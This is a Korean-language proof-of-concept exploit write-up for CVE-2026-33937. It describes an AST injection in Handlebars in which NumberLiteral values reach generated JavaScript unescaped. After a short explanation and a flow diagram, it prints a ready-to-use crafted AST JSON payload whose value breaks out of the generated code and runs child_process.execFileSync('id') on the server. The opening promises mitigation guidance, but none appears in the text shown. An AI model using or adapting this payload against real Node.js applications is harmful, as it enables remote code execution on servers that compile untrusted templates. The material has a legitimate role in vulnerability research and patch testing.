
# CVE-2026-33937 개념 증명 익스플로잇 Handlebars AST 주입 취약점으로, Node.js에서 원격 코드 실행으로 이어지는 CVE-2026-33937에 대한 개념 증명 익스플로잇입니다. 제작된 AST 페이로드를 시연하고 완화 지침을 제공합니다.
CVE-2026-33937은 Handlebars에서 AST(Abstract Syntax Tree) 입력을 안전하지 않게 처리하여 발생하는 치명적인 원격 코드 실행(RCE) 취약점입니다.
이 취약점은 공격자가 Handlebars.compile()에 조작된 AST 객체를 제공하여 임의의 JavaScript 코드를 주입할 수 있게 합니다.
Handlebars.compile()은 다음 두 가지를 모두 허용합니다:
AST 객체가 제공되면 파싱 단계가 건너뜁니다.
내부:
lib/handlebars/compiler/javascript-compiler.js
다음 함수:
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
는 number.value를 샌드박스 처리나 이스케이프 없이 생성된 JavaScript 코드에 직접 삽입하여 코드 주입으로 이어집니다.
공격자 → 조작된 AST (JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler (NumberLiteral 주입)
│
▼
코드 생성
│
▼
new Function(...) / eval()
│
▼
RCE
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}